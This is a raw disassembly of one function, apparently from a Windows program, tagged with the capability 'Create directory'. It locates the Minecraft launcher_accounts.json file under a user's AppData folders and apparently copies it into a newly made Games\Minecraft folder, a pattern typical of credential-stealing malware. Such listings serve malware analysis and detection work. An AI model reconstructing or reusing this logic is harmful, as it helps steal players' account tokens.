Function at 0x14004c450
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x170
mov rax, qword [0x1400e8180]
xor rax, rsp
mov qword [rsp + 0x160], rax
lea rcx, str.Minecraft_n
call fcn.1400029d0
lea rcx, [rsp + 0x98]
call fcn.140057350
nop
xor esi, esi
mov qword [rsp + 0x78], rsi
mov qword [rsp + 0x88], rsi
mov qword [rsp + 0x90], 0xf
mov byte [rsp + 0x78], sil
movabs rbx, 0x7fffffffffffffff
mov rax, rbx
cmp byte [0x1400e8e20], sil
je 0x14004c564
mov rcx, qword [0x1400e9290]
sub rax, rcx
mov rdx, qword [rsp + 0xa8]
cmp rax, rdx
jb 0x14004cf6b
lea r9, [0x1400e9280]
cmp qword [0x1400e9298], 0x10
cmovae r9, qword [0x1400e9280]
lea rax, [rsp + 0x98]
cmp qword [rsp + 0xb0], 0x10
cmovae rax, qword [rsp + 0x98]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [0x1400e9280]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0xd8]
call fcn.14002d660
movups xmm0, xmmword [rsp + 0xd8]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [rsp + 0xe8]
movups xmmword [rsp + 0x88], xmm1
jmp 0x14004c659
mov rcx, qword [rsp + 0xa8]
sub rax, rcx
cmp rax, 9
jb 0x14004cf71
lea rax, [rsp + 0x98]
cmp qword [rsp + 0xb0], 0x10
cmovae rax, qword [rsp + 0x98]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 9
lea r9, str.C:_Users_
lea r8, [rsp + 0x98]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x120]
call fcn.14002d660
nop
lea rdx, [0x1400e9220]
cmp qword [0x1400e9238], 0x10
cmovae rdx, qword [0x1400e9220]
mov r8, qword [0x1400e9230]
lea rcx, [rsp + 0x120]
call fcn.140021a00
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
movups xmmword [rsp + 0x78], xmm0
movups xmmword [rsp + 0x88], xmm1
mov rdx, qword [rsp + 0x138]
cmp rdx, 0x10
jb 0x14004c659
inc rdx
mov rcx, qword [rsp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004c654
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004cf77
call fcn.140080f50
mov rax, rbx
mov rcx, qword [rsp + 0xa8]
sub rax, rcx
cmp rax, 9
jb 0x14004cf7d
lea rax, [rsp + 0x98]
cmp qword [rsp + 0xb0], 0x10
cmovae rax, qword [rsp + 0x98]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 9
lea r9, str.C:_Users_
lea r8, [rsp + 0x98]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0xb8]
call fcn.14002d660
nop
mov r8d, 0xe
lea rdx, str._AppData_Local
lea rcx, [rsp + 0xb8]
call fcn.140021a00
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xf8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x108], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0xd0]
cmp rdx, 0x10
jb 0x14004c743
inc rdx
mov rcx, qword [rsp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004c73e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004cf83
call fcn.140080f50
mov qword [rsp + 0xc8], rsi
mov qword [rsp + 0xd0], 0xf
mov byte [rsp + 0xb8], 0
mov rax, rbx
mov rcx, qword [rsp + 0xa8]
sub rax, rcx
cmp rax, 9
jb 0x14004cf89
lea rax, [rsp + 0x98]
cmp qword [rsp + 0xb0], 0x10
cmovae rax, qword [rsp + 0x98]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 9
lea r9, str.C:_Users_
lea r8, [rsp + 0x98]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.14002d660
nop
mov r8d, 0x10
lea rdx, str._AppData_Roaming
lea rcx, [rsp + 0x48]
call fcn.140021a00
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xb8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xc8], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x14004c83d
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004c838
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004cf8f
call fcn.140080f50
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], 0xf
mov byte [rsp + 0x48], 0
mov rax, rbx
mov rcx, qword [rsp + 0x108]
sub rax, rcx
cmp rax, 0x22
jb 0x14004cf95
lea r9, [rsp + 0xf8]
cmp qword [rsp + 0x110], 0x10
cmovae r9, qword [rsp + 0xf8]
mov qword [rsp + 0x30], 0x22
lea r14, str._.minecraft_launcher_accounts.json
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0xf8]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0xd8]
call fcn.14002d660
nop
lea rdx, [rsp + 0xd8]
lea rcx, [rsp + 0x120]
call fcn.14002f5c0
nop
lea rcx, [rsp + 0x120]
call fcn.1400044e0
movzx edi, al
mov rdx, qword [rsp + 0x138]
cmp rdx, 8
jb 0x14004c925
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004c920
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004cf9b
call fcn.140080f50
movdqa xmm0, xmmword [0x1400d4aa0]
movdqu xmmword [rsp + 0x130], xmm0
mov word [rsp + 0x120], si
mov rdx, qword [rsp + 0xf0]
cmp rdx, 0x10
jb 0x14004c981
inc rdx
mov rcx, qword [rsp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004c97c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004cfa1
call fcn.140080f50
mov rax, rbx
test dil, dil
je 0x14004cb4b
mov rcx, qword [rsp + 0x108]
sub rax, rcx
cmp rax, 0x22
jb 0x14004cfa7
lea r9, [rsp + 0xf8]
cmp qword [rsp + 0x110], 0x10
cmovae r9, qword [rsp + 0xf8]
mov qword [rsp + 0x30], 0x22
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0xf8]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0xd8]
call fcn.14002d660
nop
mov rax, rbx
mov rcx, qword [rsp + 0x88]
sub rax, rcx
cmp rax, 6
jb 0x14004cfad
lea r9, [rsp + 0x78]
cmp qword [rsp + 0x90], 0x10
cmovae r9, qword [rsp + 0x78]
mov qword [rsp + 0x30], 6
lea rax, str._Games
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x78]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x120]
call fcn.14002d660
nop
mov rcx, qword [rsp + 0x88]
sub rbx, rcx
cmp rbx, 0x10
jb 0x14004cfb3
lea r9, [rsp + 0x78]
cmp qword [rsp + 0x90], 0x10
cmovae r9, qword [rsp + 0x78]
mov qword [rsp + 0x30], 0x10
lea rax, str._Games_Minecraft
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x78]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x140]
call fcn.14002d660
nop
lea rbx, [rsp + 0x120]
mov edi, 2
mov rcx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x14004cabd
mov rcx, qword [rbx]
call fcn.14009939c
add rbx, 0x20
sub rdi, 1
jne 0x14004cab0
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0xd8]
call fcn.140057d10
nop
lea r9, [fcn.14001efc0]
mov edx, 0x20
lea r8d, [rdx - 0x1e]
lea rcx, [rsp + 0x120]
call fcn.140080f94
nop
mov rdx, qword [rsp + 0xf0]
cmp rdx, 0x10
jb 0x14004ce35
inc rdx
mov rcx, qword [rsp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004ce2f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004cfb9
jmp 0x14004ce2f
mov rcx, qword [rsp + 0xc8]
sub rax, rcx
cmp rax, 0x22
jb 0x14004cfbf
lea r9, [rsp + 0xb8]
cmp qword [rsp + 0xd0], 0x10
cmovae r9, qword [rsp + 0xb8]
mov qword [rsp + 0x30], 0x22
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0xb8]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0xd8]
call fcn.14002d660
nop
lea rdx, [rsp + 0xd8]
lea rcx, [rsp + 0x120]
call fcn.14002f5c0
nop
lea rcx, [rsp + 0x120]
call fcn.1400044e0
movzx edi, al
mov rdx, qword [rsp + 0x138]
cmp rdx, 8
jb 0x14004cc16
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004cc11
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004cfc5
call fcn.140080f50
movdqa xmm0, xmmword [0x1400d4aa0]
movdqu xmmword [rsp + 0x130], xmm0
mov word [rsp + 0x120], si
mov rdx, qword [rsp + 0xf0]
cmp rdx, 0x10
jb 0x14004cc72
inc rdx
mov rcx, qword [rsp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004cc6d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004cfcb
call fcn.140080f50
test dil, dil
je 0x14004ce35
mov rax, rbx
mov rcx, qword [rsp + 0xc8]
sub rax, rcx
cmp rax, 0x22
jb 0x14004cfd1
lea r9, [rsp + 0xb8]
cmp qword [rsp + 0xd0], 0x10
cmovae r9, qword [rsp + 0xb8]
mov qword [rsp + 0x30], 0x22
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0xb8]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0xd8]
call fcn.14002d660
nop
mov rax, rbx
mov rcx, qword [rsp + 0x88]
sub rax, rcx
cmp rax, 6
jb 0x14004cfd7
lea r9, [rsp + 0x78]
cmp qword [rsp + 0x90], 0x10
cmovae r9, qword [rsp + 0x78]
mov qword [rsp + 0x30], 6
lea rax, str._Games
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x78]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x120]
call fcn.14002d660
nop
mov rcx, qword [rsp + 0x88]
sub rbx, rcx
cmp rbx, 0x10
jb 0x14004cfdd
lea r9, [rsp + 0x78]
cmp qword [rsp + 0x90], 0x10
cmovae r9, qword [rsp + 0x78]
mov qword [rsp + 0x30], 0x10
lea rax, str._Games_Minecraft
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x78]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x140]
call fcn.14002d660
nop
lea rbx, [rsp + 0x120]
mov edi, 2
mov rcx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x14004cdae
mov rcx, qword [rbx]
call fcn.14009939c
add rbx, 0x20
sub rdi, 1
jne 0x14004cda1
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0xd8]
call fcn.140057d10
nop
lea r9, [fcn.14001efc0]
mov edx, 0x20
lea r8d, [rdx - 0x1e]
lea rcx, [rsp + 0x120]
call fcn.140080f94
nop
mov rdx, qword [rsp + 0xf0]
cmp rdx, 0x10
jb 0x14004ce35
inc rdx
mov rcx, qword [rsp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004ce2f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004cfe3
call fcn.140080f50
nop
mov rdx, qword [rsp + 0xd0]
cmp rdx, 0x10
jb 0x14004ce79
inc rdx
mov rcx, qword [rsp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004ce73
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004cfe9
call fcn.140080f50
nop
mov rdx, qword [rsp + 0x110]
cmp rdx, 0x10
jb 0x14004cebd
inc rdx
mov rcx, qword [rsp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004ceb7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004cfef
call fcn.140080f50
nop
mov rdx, qword [rsp + 0x90]
cmp rdx, 0x10
jb 0x14004cefe
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004cef8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004cff5
call fcn.140080f50
nop
mov rdx, qword [rsp + 0xb0]
cmp rdx, 0x10
jb 0x14004cf41
inc rdx
mov rcx, qword [rsp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004cf3c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004cffb
call fcn.140080f50
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.140080f30
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop r14
ret
call fcn.140002cb0
nop
call fcn.140002cb0
int3
call fcn.1400996b0
int3
call fcn.140002cb0
nop
call fcn.1400996b0
int3
call fcn.140002cb0
nop
call fcn.1400996b0
int3
call fcn.140002cb0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
int3
call fcn.140002cb0
nop
call fcn.140002cb0
nop
call fcn.140002cb0
nop
call fcn.1400996b0
int3
call fcn.140002cb0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
int3
call fcn.140002cb0
nop
call fcn.140002cb0
nop
call fcn.140002cb0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
int3